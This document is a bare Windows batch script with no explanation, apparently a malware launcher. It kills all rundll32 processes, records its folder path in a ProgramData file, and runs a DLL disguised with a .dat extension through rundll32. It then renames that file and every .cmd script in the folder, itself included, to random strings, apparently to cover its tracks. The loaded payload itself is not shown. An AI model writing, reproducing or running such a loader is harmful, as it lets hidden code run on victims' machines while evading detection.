
@echo off
taskkill /f /im rundll32.exe >nul 2>&1
cd /d "%~dp0"
echo [Data] > "%ProgramData%\Path.ini"
echo Path=%~dp0 >> "%ProgramData%\Path.ini"
if not exist "%SystemRoot%\System32\rundll32.exe" (
    echo 错误：rundll32.exe缺失，请修复系统文件！
    pause
    exit /b 1
)

setlocal enabledelayedexpansion
set "chars=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"

set "dll_file="
for %%f in (*.dat) do set "dll_file=%%f"

"%SystemRoot%\System32\rundll32.exe" "%~dp0!dll_file!",O

set "rand_dll="
for /l %%i in (1,1,10) do (
    set /a "idx=!random! %% 62"
    for %%j in (!idx!) do set "char=!chars:~%%j,1!"
    set "rand_dll=!rand_dll!!char!"
)
set "new_dll=!rand_dll!.dat"
if exist "!dll_file!" ren "!dll_file!" "!new_dll!"

for %%f in (*.cmd) do (
        set "original=%%~nf"
        set "extension=%%~xf"
        set "rand_str="
        for /l %%i in (1,1,10) do (
            set /a "idx=!random! %% 62"
            for %%j in (!idx!) do set "char=!chars:~%%j,1!"
            set "rand_str=!rand_str!!char!"
        )
        set "new_name=!rand_str!!extension!"
        ren "%%f" "!new_name!"
)
endlocal
